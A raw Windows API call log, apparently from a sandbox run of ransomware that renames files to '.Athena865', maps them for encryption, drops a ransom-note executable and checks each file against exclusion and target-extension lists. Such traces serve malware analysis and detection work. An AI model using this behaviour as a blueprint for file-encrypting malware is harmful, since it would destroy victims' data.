0x100000 [0118.520] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.520] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.520] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.521] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.521] CloseHandle (hObject=0x17c) returned 1 [0118.521] CloseHandle (hObject=0x154) returned 1 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.522] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="..") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="windows") returned -1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="bootmgr") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="temp") returned -1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="pagefile.sys") returned -1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="boot") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ids.txt") returned 1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="ntuser.dat") returned -1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="perflogs") returned -1 [0118.522] lstrcmpiW (lpString1="msadrh15.dll", lpString2="MSBuild") returned -1 [0118.522] lstrlenW (lpString="msadrh15.dll") returned 12 [0118.522] lstrcpyW (in: lpString1=0x241e89a, lpString2="msadrh15.dll" | out: lpString1="msadrh15.dll") returned="msadrh15.dll" [0118.522] lstrlenW (lpString="msadrh15.dll") returned 12 [0118.522] lstrlenW (lpString="Athena865") returned 9 [0118.522] lstrcmpiW (lpString1="drh15.dll", lpString2="Athena865") returned 1 [0118.522] lstrlenW (lpString=".dll") returned 4 [0118.523] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".dll") returned 1 [0118.523] lstrlenW (lpString=".lnk") returned 4 [0118.523] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".lnk") returned 1 [0118.523] lstrlenW (lpString=".ini") returned 4 [0118.523] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".ini") returned 1 [0118.523] lstrlenW (lpString=".sys") returned 4 [0118.523] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".sys") returned 1 [0118.523] lstrlenW (lpString="msadrh15.dll") returned 12 [0118.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.Athena865") returned 63 [0118.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.athena865"), dwFlags=0x1) returned 1 [0118.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.524] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=106496) returned 1 [0118.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.525] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.526] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.526] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.526] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a300, lpName=0x0) returned 0x17c [0118.527] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a300) returned 0x100000 [0118.531] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.532] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.532] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.533] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.534] CloseHandle (hObject=0x17c) returned 1 [0118.534] CloseHandle (hObject=0x154) returned 1 [0118.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.534] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0118.535] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.535] ReleaseMutex (hMutex=0xec) returned 1 [0118.535] CloseHandle (hObject=0xec) returned 1 [0118.535] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US") returned="C:\\Program Files\\Common Files\\System\\en-US" [0118.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528e30 | out: hHeap=0x4f0000) returned 1 [0118.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6b8 | out: hHeap=0x4f0000) returned 1 [0118.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US") returned 42 [0118.535] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\42CDE0C6CA9300297369E8A3933AFC6D") returned 0xec [0118.535] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.535] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US") returned="C:\\Program Files\\Common Files\\System\\en-US" [0118.535] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.535] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.536] GetLastError () returned 0x0 [0118.536] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.536] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.537] CloseHandle (hObject=0xf4) returned 1 [0118.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.537] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xce198bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce198bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.537] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.537] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.537] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.537] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xce198bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce198bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.537] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.537] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.537] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.537] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.537] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce198bc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce198bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.537] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.537] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0118.537] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="..") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="windows") returned -1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="bootmgr") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="temp") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="pagefile.sys") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="boot") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ids.txt") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="ntuser.dat") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="perflogs") returned 1 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2="MSBuild") returned 1 [0118.538] lstrlenW (lpString="wab32res.dll.mui") returned 16 [0118.538] lstrcpyW (in: lpString1=0x241e89e, lpString2="wab32res.dll.mui" | out: lpString1="wab32res.dll.mui") returned="wab32res.dll.mui" [0118.538] lstrlenW (lpString="wab32res.dll.mui") returned 16 [0118.538] lstrlenW (lpString="Athena865") returned 9 [0118.538] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0118.538] lstrlenW (lpString=".dll") returned 4 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".dll") returned 1 [0118.538] lstrlenW (lpString=".lnk") returned 4 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".lnk") returned 1 [0118.538] lstrlenW (lpString=".ini") returned 4 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".ini") returned 1 [0118.538] lstrlenW (lpString=".sys") returned 4 [0118.538] lstrcmpiW (lpString1="wab32res.dll.mui", lpString2=".sys") returned 1 [0118.538] lstrlenW (lpString="wab32res.dll.mui") returned 16 [0118.538] lstrlenW (lpString="bak") returned 3 [0118.538] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0118.538] lstrlenW (lpString="ba_") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0118.539] lstrlenW (lpString="dbb") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0118.539] lstrlenW (lpString="vmdk") returned 4 [0118.539] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0118.539] lstrlenW (lpString="rar") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0118.539] lstrlenW (lpString="zip") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0118.539] lstrlenW (lpString="tgz") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0118.539] lstrlenW (lpString="vbox") returned 4 [0118.539] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0118.539] lstrlenW (lpString="vdi") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0118.539] lstrlenW (lpString="vhd") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0118.539] lstrlenW (lpString="vhdx") returned 4 [0118.539] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0118.539] lstrlenW (lpString="avhd") returned 4 [0118.539] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0118.539] lstrlenW (lpString="db") returned 2 [0118.539] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0118.539] lstrlenW (lpString="db2") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0118.539] lstrlenW (lpString="db3") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0118.539] lstrlenW (lpString="dbf") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0118.539] lstrlenW (lpString="mdf") returned 3 [0118.539] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0118.540] lstrlenW (lpString="mdb") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0118.540] lstrlenW (lpString="sql") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0118.540] lstrlenW (lpString="sqlite") returned 6 [0118.540] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0118.540] lstrlenW (lpString="sqlite3") returned 7 [0118.540] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0118.540] lstrlenW (lpString="sqlitedb") returned 8 [0118.540] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0118.540] lstrlenW (lpString="xml") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0118.540] lstrlenW (lpString="$er") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0118.540] lstrlenW (lpString="4dd") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0118.540] lstrlenW (lpString="4dl") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0118.540] lstrlenW (lpString="^^^") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0118.540] lstrlenW (lpString="abs") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0118.540] lstrlenW (lpString="abx") returned 3 [0118.540] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0118.540] lstrlenW (lpString="accdb") returned 5 [0118.540] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0118.540] lstrlenW (lpString="accdc") returned 5 [0118.540] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0118.540] lstrlenW (lpString="accde") returned 5 [0118.540] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0118.540] lstrlenW (lpString="accdr") returned 5 [0118.541] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0118.541] lstrlenW (lpString="accdt") returned 5 [0118.541] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0118.541] lstrlenW (lpString="accdw") returned 5 [0118.541] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0118.541] lstrlenW (lpString="accft") returned 5 [0118.541] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0118.541] lstrlenW (lpString="adb") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0118.541] lstrlenW (lpString="adb") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0118.541] lstrlenW (lpString="ade") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0118.541] lstrlenW (lpString="adf") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0118.541] lstrlenW (lpString="adn") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0118.541] lstrlenW (lpString="adp") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0118.541] lstrlenW (lpString="alf") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0118.541] lstrlenW (lpString="ask") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0118.541] lstrlenW (lpString="btr") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0118.541] lstrlenW (lpString="cat") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0118.541] lstrlenW (lpString="cdb") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0118.541] lstrlenW (lpString="ckp") returned 3 [0118.541] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0118.542] lstrlenW (lpString="cma") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0118.542] lstrlenW (lpString="cpd") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0118.542] lstrlenW (lpString="dacpac") returned 6 [0118.542] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0118.542] lstrlenW (lpString="dad") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0118.542] lstrlenW (lpString="dadiagrams") returned 10 [0118.542] lstrcmpiW (lpString1="es.dll.mui", lpString2="dadiagrams") returned 1 [0118.542] lstrlenW (lpString="daschema") returned 8 [0118.542] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0118.542] lstrlenW (lpString="db-journal") returned 10 [0118.542] lstrcmpiW (lpString1="es.dll.mui", lpString2="db-journal") returned 1 [0118.542] lstrlenW (lpString="db-shm") returned 6 [0118.542] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0118.542] lstrlenW (lpString="db-wal") returned 6 [0118.542] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0118.542] lstrlenW (lpString="dbc") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0118.542] lstrlenW (lpString="dbs") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0118.542] lstrlenW (lpString="dbt") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0118.542] lstrlenW (lpString="dbv") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0118.542] lstrlenW (lpString="dbx") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0118.542] lstrlenW (lpString="dcb") returned 3 [0118.542] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0118.543] lstrlenW (lpString="dct") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0118.543] lstrlenW (lpString="dcx") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0118.543] lstrlenW (lpString="ddl") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0118.543] lstrlenW (lpString="dlis") returned 4 [0118.543] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0118.543] lstrlenW (lpString="dp1") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0118.543] lstrlenW (lpString="dqy") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0118.543] lstrlenW (lpString="dsk") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0118.543] lstrlenW (lpString="dsn") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0118.543] lstrlenW (lpString="dtsx") returned 4 [0118.543] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0118.543] lstrlenW (lpString="dxl") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0118.543] lstrlenW (lpString="eco") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0118.543] lstrlenW (lpString="ecx") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0118.543] lstrlenW (lpString="edb") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0118.543] lstrlenW (lpString="epim") returned 4 [0118.543] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0118.543] lstrlenW (lpString="fcd") returned 3 [0118.543] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0118.543] lstrlenW (lpString="fdb") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0118.544] lstrlenW (lpString="fic") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0118.544] lstrlenW (lpString="flexolibrary") returned 12 [0118.544] lstrcmpiW (lpString1="2res.dll.mui", lpString2="flexolibrary") returned -1 [0118.544] lstrlenW (lpString="fm5") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0118.544] lstrlenW (lpString="fmp") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0118.544] lstrlenW (lpString="fmp12") returned 5 [0118.544] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0118.544] lstrlenW (lpString="fmpsl") returned 5 [0118.544] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0118.544] lstrlenW (lpString="fol") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0118.544] lstrlenW (lpString="fp3") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0118.544] 